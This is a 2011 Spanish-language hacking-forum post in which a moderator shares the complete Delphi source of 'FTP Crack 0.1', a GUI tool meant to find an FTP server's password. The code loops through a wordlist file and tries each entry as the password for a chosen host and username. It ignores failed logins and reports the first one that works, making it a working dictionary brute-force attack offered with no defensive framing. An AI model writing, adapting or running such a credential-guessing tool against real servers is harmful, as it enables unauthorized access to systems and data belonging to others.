Bienvenido a Tecnohackers

Tecnohackers » General del foro » Area de Programacion » Programacion a Alto Nivel. Visual Basic, Java, delphi, etc. (Moderadores: jarexalf, Doddy)
 » 

[Delphi] FTP Crack 0.1


Páginas: [1]   Ir Abajo

Autor Tema: [Delphi] FTP Crack 0.1  (Leído 49 veces)

Desconectado Doddy

  • Moderator
  • Veterano
  • *****
  • Mensajes: 267
  • Slow Mind
[Delphi] FTP Crack 0.1
« en: Octubre 18, 2011, 10:40:49 pm »
Un simple programa en delphi para encontrar la contraseña de algun servidor ftp.


Código: No puedes ver links Registrate o Login
{
FTP Crack 0.1

Coded By Doddy H
}

unit crack;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdFTP, WinSkinData;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    Label3: TLabel;
    Edit3: TEdit;
    Button1: TButton;
    Label4: TLabel;
    Memo1: TMemo;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    OpenDialog1: TOpenDialog;
    IdFTP1: TIdFTP;
    SkinData1: TSkinData;
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button3Click(Sender: TObject);
begin
ShowMessage('Coded By Doddy H');
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
Form1.Close;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then begin
Edit3.Text:=OpenDialog1.FileName;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.Clear;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
FTP: TIdFTP;
archivo: TextFile;
lineas:String;
begin
Memo1.Clear;
Memo1.Lines.Add('[+] Starting the program');
Memo1.Lines.Add('');
AssignFile(archivo,Edit3.Text);
Reset(archivo);
while not EOF(archivo) do
begin
ReadLn(archivo,lineas);
FTP:= TIdFTP.Create(Self);
FTP.Host := Edit1.Text;
FTP.Username := Edit2.Text;
FTP.Password := lineas;
try
FTP.Connect;
Memo1.Lines.Add('');
Memo1.Lines.Add('[+] Pass Found : '+lineas);
Memo1.Lines.Add('');
FTP.Disconnect;
FTP.Free;
break;
except
on E : Exception do {nothing!};
end;
end;
Memo1.Lines.Add('');
Memo1.Lines.Add('[+] Finished');
CloseFile(archivo);
end;
end.

Una imagen seria



Si quieren ver el proyecto + compilado pueden hacerlo desde No puedes ver links Registrate o Login
En línea
No puedes ver links Registrate o Login
Páginas: [1]   Ir Arriba
Tags:

 

Related Topics

  Asunto / Iniciado por Respuestas Último mensaje
0 Respuestas
284 Vistas 		Último mensaje Julio 10, 2009, 08:15:08 pm
por alma_triste
0 Respuestas
368 Vistas 		Último mensaje Noviembre 16, 2009, 02:33:26 am
por CronuX
0 Respuestas
48 Vistas 		Último mensaje Octubre 18, 2011, 10:40:28 pm
por Doddy
0 Respuestas
51 Vistas 		Último mensaje Octubre 18, 2011, 10:41:10 pm
por Doddy


SMF 2.0.2 | SMF © 2011, Simple Machines
Paginas Afiliadas
InfraBios - i-hacker - Twitter - FaceBook - Troyanosyvirus - LaWebDeGoku - daraxblog
Designed by Smf Personal